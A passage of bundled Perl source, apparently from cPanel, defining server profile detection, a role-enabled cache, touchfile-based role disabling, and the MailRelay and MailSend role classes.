$profile ( keys %_META ) { next if $profile eq Cpanel::Server::Type::Profile::Constants::STANDARD(); my $disabled_roles_ar = get_disabled_roles_for_profile($profile); if ($disabled_roles_ar) { foreach my $role (@$disabled_roles_ar) { if ( !exists $roles->{$role} ) { Cpanel::LoadModule::load_perl_module($role); $roles->{$role} = $role->is_enabled(); } next PROFILE if $roles->{$role}; } } if ( $_META{$profile}{enabled_roles} ) { foreach my $role ( @{ $_META{$profile}{enabled_roles} } ) { if ( !exists $roles->{$role} ) { Cpanel::LoadModule::load_perl_module($role); $roles->{$role} = $role->is_enabled(); } next PROFILE if !$roles->{$role}; } } return $_CURRENT_PROFILE = $profile; } return $_CURRENT_PROFILE = Cpanel::Server::Type::Profile::Constants::STANDARD(); } sub current_profile_matches { my ($profiles_ar) = @_; $profiles_ar = [$profiles_ar] if 'ARRAY' ne ref $profiles_ar; my $current_profile = get_current_profile(); return grep { $_ eq $current_profile } @{$profiles_ar}; } sub is_valid_for_profile ($rule) { if ( ref $rule ne 'HASH' ) { return current_profile_matches($rule); } if ( !ref $rule->{items} ) { require Data::Dumper; die q[Invalid rule 'missing items entry' ] . Data::Dumper::Dumper($rule); } require Cpanel::Validate::AnyAllMatcher; return Cpanel::Validate::AnyAllMatcher::match( $rule, \¤t_profile_matches ); } my $_loaded_descriptions; sub get_meta { if ($_loaded_descriptions) { foreach my $profile ( keys %_META ) { delete @{ $_META{$profile} }{qw(name description)}; $_loaded_descriptions = 0; } } return \%_META; } sub get_meta_with_descriptions { if ( !$_loaded_descriptions ) { require 'Cpanel/Server/Type/Profile/Descriptions.pm'; ## no critic qw(Bareword) - hide from perlpkg my $add_hr = \%Cpanel::Server::Type::Profile::Descriptions::_META; foreach my $profile ( keys %$add_hr ) { @{ $_META{$profile} }{ keys %{ $add_hr->{$profile} } } = values %{ $add_hr->{$profile} }; } } return \%_META; } sub get_disabled_roles_for_profile { my ($profile) = @_; my $all_possible_roles = get_all_possible_roles(); my $meta = get_meta(); # call get_meta since it may be mocked die "No META for profile “$profile”!" if !defined $meta->{$profile}; my %profile_roles = map { $_ => 1 } ( ( $meta->{$profile}{enabled_roles} ? @{ $meta->{$profile}{enabled_roles} } : () ), ( $meta->{$profile}{optional_roles} ? @{ $meta->{$profile}{optional_roles} } : () ) ); my @disabled_roles = grep { !$profile_roles{$_} } @$all_possible_roles; return @disabled_roles ? \@disabled_roles : undef; } sub get_all_possible_roles { return [all_roles]; } sub get_service_subdomains_for_profile { my ($profile) = @_; my $meta = get_meta(); # call get_meta since it may be mocked die "No META for profile “$profile”!" if !defined $meta->{$profile}; my @profile_roles = ( ( $meta->{$profile}{enabled_roles} ? @{ $meta->{$profile}{enabled_roles} } : () ), ( $meta->{$profile}{optional_roles} ? @{ $meta->{$profile}{optional_roles} } : () ) ); require 'Cpanel/Server/Type/Change/Backend.pm'; ## no critic qw(Bareword) - hide from perlpkg my @service_subdomains; push @service_subdomains, Cpanel::Server::Type::Change::Backend::get_role_service_subs($_) for @profile_roles; return \@service_subdomains; } sub _reset_cache { undef $_CURRENT_PROFILE; return; } 1; } # --- END Cpanel/Server/Type/Profile.pm { # --- BEGIN Cpanel/Server/Type/Role/EnabledCache.pm package Cpanel::Server::Type::Role::EnabledCache; use cPstrict; use Carp (); my %_THE_CACHE; sub set ( $class, $value ) { _validate_class($class); if ( $value ne '0' && $value ne '1' ) { _confess("Value must be 0 or 1, not “$value”."); } return $_THE_CACHE{$class} = $value; } sub get ($class) { _validate_class($class); return $_THE_CACHE{$class}; } sub unset ($class) { _validate_class($class); return delete $_THE_CACHE{$class}; } sub _confess ($msg) { local $Carp::Internal{ (__PACKAGE__) } = 1; return Carp::confess($msg); } sub _validate_class ($class) { _confess("Give a class name, not $class!") if ref $class; return; } sub _unset_all () { %_THE_CACHE = (); return; } 1; } # --- END Cpanel/Server/Type/Role/EnabledCache.pm { # --- BEGIN Cpanel/Server/Type/Role.pm package Cpanel::Server::Type::Role; use strict; use warnings; # use Cpanel::Server::Type::Profile (); # use Cpanel::Server::Type::Profile::Constants (); # use Cpanel::Server::Type (); # use Cpanel::Server::Type::Role::EnabledCache (); sub new { return bless {}, $_[0]; } sub is_enabled { my ($obj_or_class) = @_; my $ref = ref($obj_or_class) || $obj_or_class; my $product_type = Cpanel::Server::Type::get_producttype(); if ( $product_type eq Cpanel::Server::Type::Profile::Constants::DNSONLY() ) { return Cpanel::Server::Type::Role::EnabledCache::set( $ref, 1 ); } if ( $product_type ne Cpanel::Server::Type::Profile::Constants::STANDARD() ) { my $META = Cpanel::Server::Type::Profile::get_meta(); return Cpanel::Server::Type::Role::EnabledCache::set( $ref, 1 ) if grep { $_ eq $ref } @{ $META->{$product_type}{enabled_roles} }; return Cpanel::Server::Type::Role::EnabledCache::set( $ref, 0 ) if !grep { $_ eq $ref } @{ $META->{$product_type}{optional_roles} }; } my $val = Cpanel::Server::Type::Role::EnabledCache::get($ref); $val //= Cpanel::Server::Type::Role::EnabledCache::set( $ref, $obj_or_class->is_available() && $obj_or_class->_is_enabled() ? 1 : 0, ); return $val; } our %_AVAILABLE_CACHE; sub is_available { my ($obj_or_class) = @_; my $ref = ref($obj_or_class) || $obj_or_class; return $_AVAILABLE_CACHE{$ref} //= $obj_or_class->_is_available(); } sub verify_enabled { my ($class) = @_; if ( !$class->is_enabled() ) { my $role = substr( $class, 1 + rindex( $class, ':' ) ); require Cpanel::Exception; die Cpanel::Exception::create( 'System::RequiredRoleDisabled', [ role => $role ] ); } return; } sub SERVICES { return [] } sub RESTART_SERVICES { return [] } sub SERVICE_SUBDOMAINS { return shift()->_SERVICE_SUBDOMAINS(); } use constant _SERVICE_SUBDOMAINS => []; sub RPM_TARGETS { return shift()->_RPM_TARGETS(); } use constant _RPM_TARGETS => []; sub _is_available { return 1 } sub _NAME { require Cpanel::Exception; die Cpanel::Exception::create( 'AbstractClass', [__PACKAGE__] ); } *_DESCRIPTION = *_NAME; 1; } # --- END Cpanel/Server/Type/Role.pm { # --- BEGIN Cpanel/Server/Type/Role/TouchFileRole.pm package Cpanel::Server::Type::Role::TouchFileRole; use strict; use warnings; # use Cpanel::Server::Type::Role(); our @ISA; BEGIN { push @ISA, qw(Cpanel::Server::Type::Role); } our $ROLES_TOUCHFILE_BASE_PATH = "/var/cpanel/disabled_roles"; sub _is_enabled { return !$_[0]->check_touchfile(); } sub check_touchfile { require Cpanel::Autodie; return Cpanel::Autodie::exists( $_[0]->_TOUCHFILE() ); } sub _TOUCHFILE { require Cpanel::Exception; die Cpanel::Exception::create( 'AbstractClass', [__PACKAGE__] ); } 1; } # --- END Cpanel/Server/Type/Role/TouchFileRole.pm { # --- BEGIN Cpanel/Server/Type/Role/MailRelay.pm package Cpanel::Server::Type::Role::MailRelay; use strict; use warnings; # use Cpanel::Server::Type::Role::TouchFileRole(); our @ISA; BEGIN { push @ISA, qw(Cpanel::Server::Type::Role::TouchFileRole); } my ( $NAME, $DESCRIPTION ); our $TOUCHFILE = $Cpanel::Server::Type::Role::TouchFileRole::ROLES_TOUCHFILE_BASE_PATH . "/mailrelay"; our $SERVICES = [ 'exim', 'exim-altport', ]; sub _NAME { require 'Cpanel/LocaleString.pm'; ## no critic qw(Bareword) - hide from perlpkg $NAME ||= Cpanel::LocaleString->new("Relay Mail"); return $NAME; } sub _DESCRIPTION { require 'Cpanel/LocaleString.pm'; ## no critic qw(Bareword) - hide from perlpkg $DESCRIPTION ||= Cpanel::LocaleString->new("This role allows users to relay email through this server."); return $DESCRIPTION; } sub _TOUCHFILE { return $TOUCHFILE; } sub SERVICES { return $SERVICES; } 1; } # --- END Cpanel/Server/Type/Role/MailRelay.pm { # --- BEGIN Cpanel/Server/Type/Role/MailSend.pm package Cpanel::Server::Type::Role::MailSend; use strict; use warnings; # use Cpanel::Server::Type::Role::TouchFileRole(); our @ISA; BEGIN { push @ISA, qw(Cpanel::Server::Type::Role::TouchFileRole); } my ( $NAME, $DESCRIPTION ); our $TOUCHFILE = $Cpanel::Server::Type::Role::TouchFileRole::ROLES_TOUCHFILE_BASE_PATH . "/mailsend"; our $SERVICES = [ 'exim', 'exim-altport', ]; sub _NAME { require 'Cpanel/LocaleString.pm'; ## no critic qw(Bareword) - hide from perlpkg $NAME ||= Cpanel::LocaleString->new("Send Mail"); return $NAME; } sub _DESCRIPTION { require 'Cpanel/LocaleString.pm'; ## no critic qw(Bareword) - hide from perlpkg $DESCRIPTION ||= Cpanel::LocaleString->new("Send Mail allows users to send email."); return $DESCRIPTION; } sub _TOUCHFILE { return $TOUCHFILE; } sub SERVICES { return $SERVICES; } 1; } # --- END Cpanel/Server/Type/Role/MailSend.pm package main;
Close